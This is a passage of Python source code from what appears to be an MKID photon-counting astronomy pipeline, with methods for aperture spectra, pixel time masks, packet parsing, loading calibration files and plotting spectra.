weighted=False,\n fluxWeighted=False, lowCut=3000, highCut=7000,firstSec=0,integrationTime=-1):\n '''\n Creates a spectrum from a group of pixels. Aperture is defined by pixelRow and pixelCol of\n center, as well as radius. Wave and flat cals should be loaded before using this\n function. If no hot pixel mask is applied, taking the median of the sky rather than\n the average to account for high hot pixel counts.\n Will add more options as other pieces of pipeline become more refined.\n (Note - not updated to handle loaded hot pixel time-masks - if applied,\n behaviour may be unpredictable. JvE 3/5/2013).\n '''\n print('Creating dead pixel mask...')\n deadMask = self.getDeadPixels()\n print('Creating wavecal solution mask...')\n bad_solution_mask = np.zeros((self.nXPix, self.nYPix))\n for y in range(self.nXPix):\n for x in range(self.nYPix):\n if (self.wvlRangeTable[y][x][0] > lowCut or self.wvlRangeTable[y][x][1] < highCut):\n bad_solution_mask[y][x] = 1\n print('Creating aperture mask...')\n apertureMask = utils.aperture(pixelCol, pixelRow, radius=radius1)\n print('Creating sky mask...')\n bigMask = utils.aperture(pixelCol, pixelRow, radius=radius2)\n skyMask = bigMask - apertureMask\n #if hotPixMask == None:\n # y_values, x_values = np.where(np.logical_and(bad_solution_mask == 0, np.logical_and(apertureMask == 0, deadMask == 1)))\n # y_sky, x_sky = np.where(np.logical_and(bad_solution_mask == 0, np.logical_and(skyMask == 0, deadMask == 1)))\n #else:\n # y_values, x_values = np.where(np.logical_and(bad_solution_mask == 0, np.logical_and(np.logical_and(apertureMask == 0, deadMask == 1), hotPixMask == 0)))\n # y_sky, x_sky = np.where(np.logical_and(bad_solution_mask == 0, np.logical_and(np.logical_and(skyMask == 0, deadMask == 1), hotPixMask == 0)))\n\n y_values, x_values = np.where(np.logical_and(bad_solution_mask == 0, np.logical_and(apertureMask == 0, deadMask == 1)))\n y_sky, x_sky = np.where(np.logical_and(bad_solution_mask == 0, np.logical_and(skyMask == 0, deadMask == 1)))\n\n #wvlBinEdges = self.getPixelSpectrum(y_values[0], x_values[0], weighted=weighted)['wvlBinEdges']\n print('Creating average sky spectrum...')\n skyspectrum = []\n for i in range(len(x_sky)):\n specDict = self.getPixelSpectrum(y_sky[i],x_sky[i],weighted=weighted, fluxWeighted=fluxWeighted, firstSec=firstSec, integrationTime=integrationTime)\n self.skySpectrumSingle,wvlBinEdges,self.effIntTime = specDict['spectrum'],specDict['wvlBinEdges'],specDict['effIntTime']\n self.scaledSpectrum = self.skySpectrumSingle/self.effIntTime #scaled spectrum by effective integration time\n #print \"Sky spectrum\"\n #print self.skySpectrumSingle\n #print \"Int time\"\n #print self.effIntTime\n skyspectrum.append(self.scaledSpectrum)\n sky_array = np.zeros(len(skyspectrum[0]))\n for j in range(len(skyspectrum[0])):\n ispectrum = np.zeros(len(skyspectrum))\n for i in range(len(skyspectrum)):\n ispectrum[i] = skyspectrum[i][j]\n sky_array[j] = np.median(ispectrum)\n #if hotPixMask == None:\n # sky_array[j] = np.median(ispectrum)\n #else:\n # sky_array[j] = np.average(ispectrum)\n print('Creating sky subtracted spectrum...')\n spectrum = []\n for i in range(len(x_values)):\n specDict = self.getPixelSpectrum(y_values[i],x_values[i],weighted=weighted, fluxWeighted=fluxWeighted, firstSec=firstSec, integrationTime=integrationTime)\n self.obsSpectrumSingle,wvlBinEdges,self.effIntTime = specDict['spectrum'],specDict['wvlBinEdges'],specDict['effIntTime']\n self.scaledSpectrum = self.obsSpectrumSingle/self.effIntTime #scaled spectrum by effective integration time\n spectrum.append(self.scaledSpectrum - sky_array)\n\n #spectrum.append(self.getPixelSpectrum(y_values[i], x_values[i], weighted=weighted,fluxWeighted=fluxWeighted)['spectrum'] - sky_array)\n summed_array = np.zeros(len(spectrum[0]))\n for j in range(len(spectrum[0])):\n ispectrum = np.zeros(len(spectrum))\n for i in range(len(spectrum)):\n ispectrum[i] = spectrum[i][j]\n summed_array[j] = np.sum(ispectrum)\n for i in range(len(summed_array)):\n summed_array[i] /= (wvlBinEdges[i + 1] - wvlBinEdges[i])\n return summed_array, wvlBinEdges\n\n def getPixelBadTimes(self, pixelRow, pixelCol, reasons=[]):\n \"\"\"\n Get the time interval(s) for which a given pixel is bad (hot/cold,\n whatever, from the hot pixel cal file).\n Returns an 'interval' object (see pyinterval) of bad times (in seconds\n from start of obs file).\n \"\"\"\n if self.hotPixTimeMask is None:\n raise RuntimeError('No hot pixel file loaded')\n\n return self.hotPixTimeMask.get_intervals(pixelRow,pixelCol,reasons)\n\n def getDeadPixels(self, showMe=False, weighted=True, getRawCount=False):\n \"\"\"\n returns a mask indicating which pixels had no counts in this observation file\n 1's for pixels with counts, 0's for pixels without counts\n if showMe is True, a plot of the mask pops up\n \"\"\"\n countArray = np.array([[(self.getPixelCount(xCoord, yCoord, weighted=weighted,getRawCount=getRawCount))['counts'] for yCoord in range(self.nYPix)] for xCoord in range(self.nXPix)])\n deadArray = np.ones((self.nXPix, self.nYPix))\n deadArray[countArray == 0] = 0\n if showMe == True:\n utils.plotArray(deadArray)\n return deadArray\n\n def getNonAllocPixels(self, showMe=False):\n \"\"\"\n returns a mask indicating which pixels had no beammap locations\n (set to constant /r0/p250/)\n 1's for pixels with locations, 0's for pixels without locations\n if showMe is True, a plot of the mask pops up\n \"\"\"\n nonAllocArray = np.ones((self.nXPix, self.nYPix))\n nonAllocArray[np.core.defchararray.startswith(self.beamImage, self.nonAllocPixelName)] = 0\n if showMe == True:\n utils.plotArray(nonAllocArray)\n return nonAllocArray\n\n def getRoachNum(self,xCoord,yCoord):\n pixelLabel = self.beamImage[xCoord][yCoord]\n iRoach = int(pixelLabel.split('r')[1][0])\n return iRoach\n\n def getFrame(self, firstSec=0, integrationTime=-1):\n \"\"\"\n return a 2d array of numbers with the integrated flux per pixel,\n suitable for use as a frame in util/utils.py function makeMovie\n\n firstSec=0 is the starting second to include\n\n integrationTime=-1 is the number of seconds to include, or -1\n to include all to the end of this file\n\n\n output: the frame, in photons per pixel, a 2d numpy array of\n np.unint32\n\n \"\"\"\n frame = np.zeros((self.nXPix,self.nYPix),dtype=np.uint32)\n for xCoord in range(self.nXPix):\n for yCoord in range(self.nYPix):\n pl = self.getTimedPacketList(xCoord,yCoord,\n firstSec,integrationTime)\n nphoton = pl['timestamps'].size\n frame[xCoord][yCoord] += nphoton\n return frame\n\n # a different way to get, with the functionality of getTimedPacketList\n def getPackets(self, xCoord, yCoord, firstSec, integrationTime,\n fields=(),\n expTailTimescale=None,\n timeSpacingCut=None,\n timeMaskLast=True):\n \"\"\"\n get and parse packets for pixel xCoord,yCoord starting at firstSec for integrationTime seconds.\n\n fields is a list of strings to indicate what to parse in\n addition to timestamps: allowed values are 'peakHeights' and\n 'baselines'\n\n expTailTimescale (if not None) subtractes the exponentail tail\n off of one photon from the peakHeight of the next photon.\n This also attempts to counter effects of photon pile-up for\n short (< 100 us) dead times.\n\n timeSpacingCut (if not None) rejects photons sooner than\n timeSpacingCut seconds after the last photon.\n\n timeMaskLast -- apply time masks after timeSpacingCut and expTailTimescale.\n set this to \"false\" to mimic behavior of getTimedPacketList\n\n return a dictionary containing:\n effectiveIntTime (n seconds)\n timestamps\n other fields requested\n \"\"\"\n\n warnings.warn('Does anyone use this function?? If not, we should get rid of it')\n\n parse = {'peakHeights': True, 'baselines': True}\n for key in list(parse.keys()):\n try:\n fields.index(key)\n except ValueError:\n parse[key] = False\n\n lastSec = firstSec+integrationTime\n # Work out inter, the times to mask\n # start with nothing being masked\n inter = interval()\n # mask the hot pixels if requested\n if self.hotPixIsApplied:\n inter = self.getPixelBadTimes(xCoord, yCoord)\n # mask cosmics if requested\n if self.cosmicMaskIsApplied:\n inter = inter | self.cosmicMask\n\n # mask the fraction of the first integer second not requested\n firstSecInt = int(np.floor(firstSec))\n if (firstSec > firstSecInt):\n inter = inter | interval([firstSecInt, firstSec])\n # mask the fraction of the last integer second not requested\n lastSecInt = int(np.ceil(firstSec+integrationTime))\n integrationTimeInt = lastSecInt-firstSecInt\n if (lastSec < lastSecInt):\n inter = inter | interval([lastSec, lastSecInt])\n\n #Calculate the total effective time for the integration after removing\n #any 'intervals':\n integrationInterval = interval([firstSec, lastSec])\n maskedIntervals = inter & integrationInterval #Intersection of the integration and the bad times for this pixel.\n effectiveIntTime = integrationTime - utils.intervalSize(maskedIntervals)\n\n pixelData = self.getPixel(xCoord, yCoord, firstSec=firstSecInt,\n integrationTime=integrationTimeInt)\n # calculate how long a np array needs to be to hold everything\n nPackets = 0\n for packets in pixelData:\n nPackets += len(packets)\n\n # create empty arrays\n timestamps = np.empty(nPackets, dtype=np.float)\n if parse['peakHeights']: peakHeights=np.empty(nPackets, np.int16)\n if parse['baselines']: baselines=np.empty(nPackets, np.int16)\n\n # fill in the arrays one second at a time\n ipt = 0\n t = firstSecInt\n for packets in pixelData:\n iptNext = ipt+len(packets)\n timestamps[ipt:iptNext] = \\\n t + np.bitwise_and(packets,self.timestampMask)*self.tickDuration\n if parse['peakHeights']:\n peakHeights[ipt:iptNext] = np.bitwise_and(\n np.right_shift(packets, self.nBitsAfterParabolaPeak),\n self.pulseMask)\n\n if parse['baselines']:\n baselines[ipt:iptNext] = np.bitwise_and(\n np.right_shift(packets, self.nBitsAfterBaseline),\n self.pulseMask)\n\n ipt = iptNext\n t += 1\n\n if not timeMaskLast:\n # apply time masks\n # create a mask, \"True\" mean mask value\n # the call to makeMask dominates the running time\n if self.makeMaskVersion == 'v1':\n mask = ObsFile.makeMaskV1(timestamps, inter)\n else:\n mask = ObsFile.makeMaskV2(timestamps, inter)\n\n tsMaskedArray = ma.array(timestamps,mask=mask)\n timestamps = ma.compressed(tsMaskedArray)\n\n if parse['peakHeights']:\n peakHeights = \\\n ma.compressed(ma.array(peakHeights,mask=mask))\n if parse['baselines']:\n baselines = \\\n ma.compressed(ma.array(baselines,mask=mask))\n\n #diagnose(\"getPackets AAA\",timestamps,peakHeights,baselines,None)\n if expTailTimescale != None and len(timestamps) > 0:\n #find the time between peaks\n timeSpacing = np.diff(timestamps)\n timeSpacing[timeSpacing < 0] = 1.\n timeSpacing = np.append(1.,timeSpacing)#arbitrarily assume the first photon is 1 sec after the one before it\n\n # relPeakHeights not used?\n #relPeakHeights = peakHeights-baselines\n\n #assume each peak is riding on the tail of an exponential starting at the peak before it with e-fold time of expTailTimescale\n #print 30*\".\",\" getPackets\"\n #print 'dt',timeSpacing[0:10]\n expTails = (1.*peakHeights-baselines)*np.exp(-1.*timeSpacing/expTailTimescale)\n #print 'expTail',expTails[0:10]\n #print 'peak',peakHeights[0:10]\n #print 'peak-baseline',1.*peakHeights[0:10]-baselines[0:10]\n #print 'expT',np.exp(-1.*timeSpacing[0:10]/expTailTimescale)\n #subtract off this exponential tail\n peakHeights = np.array(peakHeights-expTails,dtype=np.int)\n #print 'peak',peakHeights[0:10]\n\n\n if timeSpacingCut != None and len(timestamps) > 0:\n timeSpacing = np.diff(timestamps)\n #include first photon and photons after who are at least\n #timeSpacingCut after the previous photon\n timeSpacingMask = np.concatenate([[True],timeSpacing >= timeSpacingCut])\n timestamps = timestamps[timeSpacingMask]\n if parse['peakHeights']:\n peakHeights = peakHeights[timeSpacingMask]\n if parse['baselines']:\n baselines = baselines[timeSpacingMask]\n\n\n if timeMaskLast:\n # apply time masks\n # create a mask, \"True\" mean mask value\n # the call to makeMask dominates the running time\n if self.makeMaskVersion == 'v1':\n mask = ObsFile.makeMaskV1(timestamps, inter)\n else:\n mask = ObsFile.makeMaskV2(timestamps, inter)\n\n tsMaskedArray = ma.array(timestamps,mask=mask)\n timestamps = ma.compressed(tsMaskedArray)\n\n if parse['peakHeights']:\n peakHeights = \\\n ma.compressed(ma.array(peakHeights,mask=mask))\n if parse['baselines']:\n baselines = \\\n ma.compressed(ma.array(baselines,mask=mask))\n\n # build up the dictionary of values and return it\n retval = {\"effIntTime\": effectiveIntTime,\n \"timestamps\":timestamps}\n if parse['peakHeights']:\n retval['peakHeights'] = peakHeights\n if parse['baselines']:\n retval['baselines'] = baselines\n return retval\n\n @staticmethod\n def makeMask01(timestamps, inter):\n def myfunc(x): return inter.__contains__(x)\n vecfunc = vectorize(myfunc,otypes=[np.bool])\n return vecfunc(timestamps)\n\n @staticmethod\n def makeMask(timestamps, inter):\n \"\"\"\n return an array of booleans, the same length as timestamps,\n with that value inter.__contains__(timestamps[i])\n \"\"\"\n return ObsFile.makeMaskV2(timestamps, inter)\n\n @staticmethod\n def makeMaskV1(timestamps, inter):\n \"\"\"\n return an array of booleans, the same length as timestamps,\n with that value inter.__contains__(timestamps[i])\n \"\"\"\n retval = np.empty(len(timestamps),dtype=np.bool)\n ainter = np.array(inter)\n t0s = ainter[:,0]\n t1s = ainter[:,1]\n\n tMin = t0s[0]\n tMax = t1s[-1]\n\n for i in range(len(timestamps)):\n ts = timestamps[i]\n if ts < tMin:\n retval[i] = False\n elif ts > tMax:\n retval[i] = False\n else:\n tIndex = np.searchsorted(t0s, ts)\n t0 = t0s[tIndex-1]\n t1 = t1s[tIndex-1]\n if ts < t1:\n retval[i] = True\n else:\n retval[i] = False\n return retval\n\n @staticmethod\n def makeMaskV2(timestamps, inter):\n \"\"\"\n return an array of booleans, the same length as timestamps,\n with that value inter.__contains__(timestamps[i])\n \"\"\"\n lt = len(timestamps)\n retval = np.zeros(lt,dtype=np.bool)\n for i in inter:\n if len(i) == 2:\n i0 = np.searchsorted(timestamps,i[0])\n if i0 == lt: break # the intervals are later than timestamps\n i1 = np.searchsorted(timestamps,i[1])\n if i1 > 0:\n i0 = max(i0,0)\n retval[i0:i1] = True\n return retval\n\n def loadBeammapFile(self,beammapFileName):\n \"\"\"\n Load an external beammap file in place of the obsfile's attached beamma\n Can be used to correct pixel location mistakes.\n NB: Do not use after loadFlatCalFile\n \"\"\"\n #get the beam image.\n scratchDir = os.getenv('MKID_PROC_PATH', '/')\n beammapPath = os.path.join(scratchDir, 'pixRemap')\n fullBeammapFileName = os.path.join(beammapPath, beammapFileName)\n if (not os.path.exists(fullBeammapFileName)):\n print('Beammap file does not exist: ', fullBeammapFileName)\n return\n if (not os.path.exists(beammapFileName)):\n #get the beam image.\n scratchDir = os.getenv('MKID_PROC_PATH', '/')\n beammapPath = os.path.join(scratchDir, 'pixRemap')\n fullBeammapFileName = os.path.join(beammapPath, beammapFileName)\n if (not os.path.exists(fullBeammapFileName)):\n print('Beammap file does not exist: ', fullBeammapFileName)\n return\n else:\n fullBeammapFileName = beammapFileName\n beammapFile = tables.openFile(fullBeammapFileName,'r')\n self.beammapFileName = fullBeammapFileName\n try:\n old_tstamp = self.beamImage[0][0].split('/')[-1]\n self.beamImage = beammapFile.get_node('/beammap/beamimage').read()\n if self.beamImage[0][0].split('/')[-1]=='':\n self.beamImage = np.core.defchararray.add(self.beamImage,old_tstamp)\n\n self.beamImageRoaches = np.array([[int(s.split('r')[1].split('/')[0]) for s in row] for row in self.beamImage])\n self.beamImagePixelNums = np.array([[int(s.split('p')[1].split('/')[0]) for s in row] for row in self.beamImage])\n except Exception as inst:\n print('Can\\'t access beamimage for ',self.fullFileName)\n\n beamShape = self.beamImage.shape\n self.nXPix = beamShape[0]\n self.nYPix = beamShape[1]\n\n beammapFile.close()\n\n def loadCentroidListFile(self, centroidListFileName):\n \"\"\"\n Load an astrometry (centroid list) file into the\n current obs file instance.\n \"\"\"\n scratchDir = os.getenv('MKID_PROC_PATH', '/')\n centroidListPath = os.path.join(scratchDir, 'centroidListFiles')\n fullCentroidListFileName = os.path.join(centroidListPath, centroidListFileName)\n if (not os.path.exists(fullCentroidListFileName)):\n print('Astrometry centroid list file does not exist: ', fullCentroidListFileName)\n return\n self.centroidListFile = tables.openFile(fullCentroidListFileName)\n self.centroidListFileName = fullCentroidListFileName\n\n def loadFlatCalFile(self, flatCalFileName):\n \"\"\"\n loads the flat cal factors from the given file\n NB: if you are going to load a different beammap, call loadBeammapFile before this function\n \"\"\"\n scratchDir = os.getenv('MKID_PROC_PATH', '/')\n flatCalPath = os.path.join(scratchDir, 'flatCalSolnFiles')\n fullFlatCalFileName = os.path.join(flatCalPath, flatCalFileName)\n if (not os.path.exists(fullFlatCalFileName)):\n print('flat cal file does not exist: ', fullFlatCalFileName)\n raise Exception('flat cal file {} does not exist'.format(fullFlatCalFileName))\n self.flatCalFile = tables.openFile(fullFlatCalFileName, mode='r')\n self.flatCalFileName = fullFlatCalFileName\n\n self.flatCalWvlBins = self.flatCalFile.root.flatcal.wavelengthBins.read()\n self.nFlatCalWvlBins = len(self.flatCalWvlBins)-1\n self.flatWeights = np.zeros((self.nXPix,self.nYPix,self.nFlatCalWvlBins),dtype=np.double)\n self.flatFlags = np.zeros((self.nXPix,self.nYPix,self.nFlatCalWvlBins),dtype=np.uint16)\n\n try:\n flatCalSoln = self.flatCalFile.root.flatcal.calsoln.read()\n for calEntry in flatCalSoln:\n entryRows,entryCols = np.where((calEntry['roach'] == self.beamImageRoaches) & (calEntry['pixelnum'] == self.beamImagePixelNums))\n try:\n entryRow = entryRows[0]\n entryCol = entryCols[0]\n self.flatWeights[entryRow,entryCol,:] = calEntry['weights']\n self.flatFlags[entryRow,entryCol,:] = calEntry['weightFlags']\n except IndexError: #entry for an unbeammapped pixel\n pass\n\n except tables.exceptions.NoSuchNodeError:\n #loading old (beammap-dependant) flat cal\n print('loading old (beammap-dependant) flat cal')\n self.flatWeights = self.flatCalFile.root.flatcal.weights.read()\n self.flatFlags = self.flatCalFile.root.flatcal.flags.read()\n\n def loadFluxCalFile(self, fluxCalFileName):\n \"\"\"\n loads the flux cal factors from the given file\n \"\"\"\n scratchDir = os.getenv('MKID_PROC_PATH', '/')\n fluxCalPath = os.path.join(scratchDir, 'fluxCalSolnFiles')\n fullFluxCalFileName = os.path.join(fluxCalPath, fluxCalFileName)\n if (not os.path.exists(fullFluxCalFileName)):\n print('flux cal file does not exist: ', fullFluxCalFileName)\n raise IOError\n self.fluxCalFile = tables.open_file(fullFluxCalFileName, mode='r')\n self.fluxCalFileName = fullFluxCalFileName\n self.fluxWeights = self.fluxCalFile.root.fluxcal.weights.read()\n self.fluxFlags = self.fluxCalFile.root.fluxcal.flags.read()\n self.fluxCalWvlBins = self.fluxCalFile.root.fluxcal.wavelengthBins.read()\n self.nFluxCalWvlBins = self.nFlatCalWvlBins\n\n def loadHotPixCalFile(self, hotPixCalFileName, switchOnMask=True,reasons=[]):\n \"\"\"\n Included for backward compatibility, simply calls loadTimeMask\n \"\"\"\n self.loadTimeMask(timeMaskFileName=hotPixCalFileName,switchOnMask=switchOnMask,reasons=reasons)\n\n def loadTimeMask(self, timeMaskFileName, switchOnMask=True,reasons=[]):\n \"\"\"\n Load a hot pixel time mask from the given file, in a similar way to\n loadWvlCalFile, loadFlatCalFile, etc. Switches on hot pixel\n masking by default.\n Set switchOnMask=False to prevent switching on hot pixel masking.\n \"\"\"\n import hotpix.hotPixels as hotPixels #Here instead of at top to prevent circular import problems.\n\n scratchDir = os.getenv('MKID_PROC_PATH', '/')\n timeMaskPath = os.path.join(scratchDir, 'timeMasks')\n fullTimeMaskFileName = os.path.join(timeMaskPath, timeMaskFileName)\n if (not os.path.exists(fullTimeMaskFileName)):\n print('time mask file does not exist: ', fullTimeMaskFileName)\n raise IOError\n\n self.hotPixFile = tables.open_file(fullTimeMaskFileName)\n self.hotPixTimeMask = hotPixels.readHotPixels(self.hotPixFile, reasons=reasons)\n self.hotPixFileName = fullTimeMaskFileName\n\n if (os.path.basename(self.hotPixTimeMask.obsFileName)\n != os.path.basename(self.fileName)):\n warnings.warn('Mismatch between hot pixel time mask file and obs file. Not loading/applying mask!')\n self.hotPixTimeMask = None\n raise ValueError\n else:\n if switchOnMask: self.switchOnHotPixTimeMask(reasons=reasons)\n\n\n def loadStandardCosmicMask(self, switchOnCosmicMask=True):\n \"\"\"\n call this method to load the cosmic mask file from the standard location,\n defined in Filename\n \"\"\"\n fileName = FileName(obsFile=self)\n cfn = fileName.cosmicMask()\n self.loadCosmicMask(cosmicMaskFileName = cfn, switchOnCosmicMask=switchOnCosmicMask)\n\n def loadCosmicMask(self, cosmicMaskFileName=None, switchOnCosmicMask=True):\n self.cosmicMask = ObsFile.readCosmicIntervalFromFile(cosmicMaskFileName)\n self.cosmicMaskFileName = os.path.abspath(cosmicMaskFileName)\n if switchOnCosmicMask: self.switchOnCosmicTimeMask()\n\n def setCosmicMask(self, cosmicMask, switchOnCosmicMask=True):\n self.cosmicMask = cosmicMask\n if switchOnCosmicMask: self.switchOnCosmicTimeMask()\n\n def loadTimeAdjustmentFile(self,timeAdjustFileName,verbose=False):\n \"\"\"\n loads obsfile specific adjustments to add to all timestamps read\n adjustments are read from timeAdjustFileName\n it is suggested to pass timeAdjustFileName=FileName(run=run).timeAdjustments()\n \"\"\"\n\n self.timeAdjustFile = tables.open_file(timeAdjustFileName)\n self.firmwareDelay = self.timeAdjustFile.root.timeAdjust.firmwareDelay.read()[0]['firmwareDelay']\n roachDelayTable = self.timeAdjustFile.root.timeAdjust.roachDelays\n try:\n self.roachDelays = roachDelayTable.readWhere('obsFileName == \"%s\"'%self.fileName)[0]['roachDelays']\n self.timeAdjustFileName = os.path.abspath(timeAdjustFileName)\n except:\n self.timeAdjustFile.close()\n self.timeAdjustFile=None\n self.timeAdjustFileName=None\n del self.firmwareDelay\n if verbose:\n print('Unable to load time adjustment for '+self.fileName)\n raise\n\n def loadBestWvlCalFile(self,master=True):\n \"\"\"\n Searchs the waveCalSolnFiles directory tree for the best wavecal to apply to this obsfile.\n if master==True then it first looks for a master wavecal solution\n \"\"\"\n raise NotImplementedError\n #scratchDir = os.getenv('MKID_PROC_PATH', '/')\n #run = FileName(obsFile=self).run\n #wvlDir = scratchDir+\"/waveCalSolnFiles/\"+run+'/'\n wvlDir = os.path.dirname(os.path.dirname(FileName(obsFile=self).mastercalSoln()))\n #print wvlDir\n obs_t_num = strpdate2num(\"%Y%m%d-%H%M%S\")(FileName(obsFile=self).tstamp)\n\n wvlCalFileName = None\n wvl_t_num = None\n for root,dirs,files in os.walk(wvlDir):\n for f in files:\n if f.endswith('.h5') and ((master and f.startswith('mastercal_')) or (not master and f.startswith('calsol_'))):\n tstamp=(f.split('_')[1]).split('.')[0]\n t_num=strpdate2num(\"%Y%m%d-%H%M%S\")(tstamp)\n if t_num < obs_t_num and (wvl_t_num == None or t_num > wvl_t_num):\n wvl_t_num = t_num\n wvlCalFileName = root+os.sep+f\n\n if wvlCalFileName==None or not os.path.exists(str(wvlCalFileName)):\n if master:\n print(\"Could not find master wavecal solutions\")\n self.loadBestWvlCalFile(master=False)\n else:\n print(\"Searched \"+wvlDir+\" but no appropriate wavecal solution found\")\n raise IOError\n else:\n obs.applyWaveCal(wvlCalFileName)\n\n def applyWaveCal(self, file_name):\n \"\"\"\n loads the wavelength cal coefficients from a given file and applies them to the\n wavelengths table for each pixel. ObsFile must be loaded in write mode.\n \"\"\"\n # check file_name and status of obsFile\n assert not self.info['isWvlCalibrated'], \\\n \"the data is already wavelength calibrated\"\n assert os.path.exists(file_name), \"{0} does not exist\".format(file_name)\n wave_cal = tables.open_file(file_name, mode='r')\n\n self.photonTable.autoindex = False # Don't reindex everytime we change column\n\n # appy waveCal\n calsoln = wave_cal.root.wavecal.calsoln.read()\n for (row, column), resID in np.ndenumerate(self.beamImage):\n index = np.where(resID == np.array(calsoln['resid']))\n if len(index[0]) == 1 and (calsoln['wave_flag'][index] == 4 or\n calsoln['wave_flag'][index] == 5):\n poly = calsoln['polyfit'][index]\n photon_list = self.getPixelPhotonList(row, column)\n phases = photon_list['Wavelength']\n poly = np.array(poly)\n poly = poly.flatten()\n energies = np.polyval(poly, phases)\n wavelengths = self.h * self.c / energies * 1e9 # wavelengths in nm\n self.updateWavelengths(row, column, wavelengths)\n else:\n self.applyFlag(row, column, 0b00000010) # failed waveCal\n self.modifyHeaderEntry(headerTitle='isWvlCalibrated', headerValue=True)\n self.photonTable.reindex_dirty() # recompute \"dirty\" wavelength index\n self.photonTable.autoindex = True # turn on autoindexing \n wave_cal.close()\n\n def loadFilter(self, filterName = 'V', wvlBinEdges = None,switchOnFilter = True):\n '''\n '''\n std = MKIDStd.MKIDStd()\n self.rawFilterWvls, self.rawFilterTrans = std._loadFilter(filterName)\n #check to see if wvlBinEdges are provided, and make them if not\n if wvlBinEdges == None:\n if self.flatCalFile is not None:\n print(\"No wvlBinEdges provided, using bins defined by flatCalFile\")\n wvlBinEdges = self.flatCalWvlBins\n else:\n raise ValueError(\"No wvlBinEdges provided. Please load flatCalFile or make bins with ObsFile.makeWvlBins\")\n self.rawFilterTrans/=max(self.rawFilterTrans) #normalize filter to 1\n rebinned = utils.rebin(self.rawFilterWvls, self.rawFilterTrans, wvlBinEdges)\n self.filterWvlBinEdges = wvlBinEdges\n self.filterWvls = rebinned[:,0]\n self.filterTrans = rebinned[:,1]\n self.filterTrans[np.isnan(self.filterTrans)] = 0.0\n if switchOnFilter: self.switchOnFilter()\n\n def switchOffFilter(self):\n self.filterIsApplied = False\n print(\"Turned off synthetic filter\")\n\n def switchOnFilter(self):\n if self.filterTrans != None:\n self.filterIsApplied = True\n print(\"Turned on synthetic filter\")\n else:\n print(\"No filter loaded! Use loadFilter to select a filter first\")\n self.filterIsApplied = False\n\n @staticmethod\n def makeWvlBins(energyBinWidth=.1, wvlStart=700, wvlStop=1500):\n \"\"\"\n returns an array of wavlength bin edges, with a fixed energy bin width\n withing the limits given in wvlStart and wvlStop\n Args:\n energyBinWidth: bin width in eV\n wvlStart: Lower wavelength edge in Angstrom\n wvlStop: Upper wavelength edge in Angstrom\n Returns:\n an array of wavelength bin edges that can be used with numpy.histogram(bins=wvlBinEdges)\n \"\"\"\n\n #Calculate upper and lower energy limits from wavelengths\n #Note that start and stop switch when going to energy\n energyStop = ObsFile.h * ObsFile.c * 1.e9 / wvlStart\n energyStart = ObsFile.h * ObsFile.c * 1.e9 / wvlStop\n nWvlBins = int((energyStop - energyStart) / energyBinWidth)\n #Construct energy bin edges\n energyBins = np.linspace(energyStart, energyStop, nWvlBins + 1)\n #Convert back to wavelength and reverse the order to get increasing wavelengths\n wvlBinEdges = np.array(ObsFile.h * ObsFile.c * 1.e9 / energyBins)\n wvlBinEdges = wvlBinEdges[::-1]\n return wvlBinEdges\n\n def maskTimestamps(self,timestamps,inter=interval(),otherListsToFilter=[]):\n \"\"\"\n Masks out timestamps that fall in an given interval\n inter is an interval of time values to mask out\n otherListsToFilter is a list of parallel arrays to timestamps that should be masked in the same way\n returns a dict with keys 'timestamps','otherLists'\n \"\"\"\n # first special case: inter masks out everything so return zero-length\n # numpy arrays\n if (inter == self.intervalAll):\n filteredTimestamps = np.arange(0)\n otherLists = [np.arange(0) for list in otherListsToFilter]\n else:\n if inter == interval() or len(timestamps) == 0:\n # nothing excluded or nothing to exclude\n # so return all unpacked values\n filteredTimestamps = timestamps\n otherLists = otherListsToFilter\n else:\n # there is a non-trivial set of times to mask.\n slices = calculateSlices(inter, timestamps)\n filteredTimestamps = repackArray(timestamps, slices)\n otherLists = []\n for eachList in otherListsToFilter:\n filteredList = repackArray(eachList,slices)\n otherLists.append(filteredList)\n # return the values filled in above\n return {'timestamps':filteredTimestamps,'otherLists':otherLists}\n\n\n def plotApertureSpectrum(self, pixelRow, pixelCol, radius1, radius2, weighted=False, fluxWeighted=False, lowCut=3000, highCut=7000, firstSec=0,integrationTime=-1):\n summed_array, bin_edges = self.getApertureSpectrum(pixelCol=pixelCol, pixelRow=pixelRow, radius1=radius1, radius2=radius2, weighted=weighted, fluxWeighted=fluxWeighted, lowCut=lowCut, highCut=highCut, firstSec=firstSec,integrationTime=integrationTime)\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.plot(bin_edges[12:-2], summed_array[12:-1])\n plt.xlabel('Wavelength ($\\AA$)')\n plt.ylabel('Counts')\n plt.show()\n\n def plotPixelSpectra(self, pixelRow, pixelCol, firstSec=0, integrationTime= -1,\n weighted=False, fluxWeighted=False):\n \"\"\"\n plots the wavelength calibrated spectrum of a given pixel integrated over a given time\n if integrationTime is -1, All time after firstSec is used.\n if weighted is True, flat cal weights are applied\n \"\"\"\n spectrum = (self.getPixelSpectrum(pixelRow, pixelCol, firstSec, integrationTime,\n weighted=weighted, fluxWeighted=fluxWeighted))['spectrum']\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.plot(self.flatCalWvlBins[0:-1], spectrum, label='spectrum for pixel[%d][%d]' % (pixelRow, pixelCol))\n plt.show()\n\n def setWvlCutoffs(self, wvlLowerLimit=700, wvlUpperLimit=1500):\n \"\"\"\n Sets wavelength cutoffs so that if convertToWvl(excludeBad=True) or getPixelWvlList(excludeBad=True) is called\n wavelengths outside these limits are excluded. To remove limits\n set wvlLowerLimit and/or wvlUpperLimit to None. To use the wavecal limits\n for each individual pixel, set wvlLowerLimit and/or wvlUpperLimit to -1\n NB - changed defaults for lower/upper limits to None (from 3000 and 8000). JvE 2/22/13\n \"\"\"\n self.wvlLowerLimit = wvlLowerLimit\n self.wvlUpperLimit = wvlUpperLimit\n\n def switchOffHotPixTimeMask(self):\n \"\"\"\n Switch off hot pixel time masking - bad pixel times will no longer be\n removed (although the mask remains 'loaded' in ObsFile instance).\n \"\"\"\n self.hotPixIsApplied = False\n\n def switchOnHotPixTimeMask(self,reasons=[]):\n \"\"\"\n Switch on hot pixel time masking. Subsequent calls to getPixelCountImage\n etc. will have bad pixel times removed.\n \"\"\"\n if self.hotPixTimeMask is None:\n raise RuntimeError('No hot pixel file loaded')\n self.hotPixIsApplied = True\n if len(reasons)>0:\n self.hotPixTimeMask.set_mask(reasons)\n #self.hotPixTimeMask.mask = [self.hotPixTimeMask.reasonEnum[reason] for reason in reasons]\n\n\n def switchOffCosmicTimeMask(self):\n \"\"\"\n Switch off hot pixel time masking - bad pixel times will no longer be\n removed (although the mask remains 